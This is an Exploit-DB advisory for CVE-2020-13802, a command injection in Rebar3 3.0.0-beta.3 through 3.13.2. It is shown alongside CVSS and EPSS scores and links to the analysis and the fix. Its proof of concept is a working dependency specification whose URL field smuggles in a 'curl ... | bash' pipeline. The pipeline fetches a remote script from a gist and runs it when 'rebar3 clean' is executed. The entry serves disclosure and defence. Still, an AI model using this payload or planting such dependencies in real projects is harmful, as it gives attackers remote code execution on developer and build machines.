Rebar3 3.13.2 - Command Injection

2024-06-1400:00:00

ub3rsick

www.exploit-db.com

rebar3

command injection

vulnerability

10 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.4 High

AI Score

Confidence

Low

0.476 Medium

EPSS

Percentile

97.5%

JSON

# Exploit Title: Rebar3 3.13.2 Command Injection
# Date: 2020-06-03
# Exploit Author: Alexey Pronin
# Vendor Homepage: https://rebar3.org
# Software Link: https://github.com/erlang/rebar3
# Versions affected: 3.0.0-beta.3 - 3.13.2
# Tested on: Linux
# CVE: CVE-2020-13802

1. Description:
----------------------

Rebar3 versions 3.0.0-beta.3 to 3.13.2 are vulnerable to OS command injection via URL parameter of dependency specification.

2. Proof of Concept:
----------------------

* Add dependency with any of the following specification:

    {
      'dephelper', ".*", { 
        hg, "https://github.com/vulnbe/poc-rebar3-helper.git?repo=main&threadId=19:[email protected]&ctx=channel|curl\t-fsSL\thttps://gist.githubusercontent.com/vulnbe/6e5ec8fae3bdbee8e5f11f15c1462e48/raw/94616f0ee52935fda458c889d6f686958c79a2c8/poc.sh|bash\t-|git\tclone\thttps://github.com/vulnbe/poc-rebar3-helper.git", 
      "dephelper"}
    }

    or 

    {
      'poc_rebar3', ".*", { 
        git, "https://github.com/vulnbe/poc-rebar3.git" 
      }
    }

* Execute command: rebar3 clean

References
----------------------
* [Rebar3 vulnerability analysis](https://vuln.be/post/rebar3-command-injection/)
* [POC](https://github.com/vulnbe/poc-rebar3.git)
* [Vulnerability remediation PR](https://github.com/erlang/rebar3/pull/2302)
* [CVE-2020-13802](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-13802)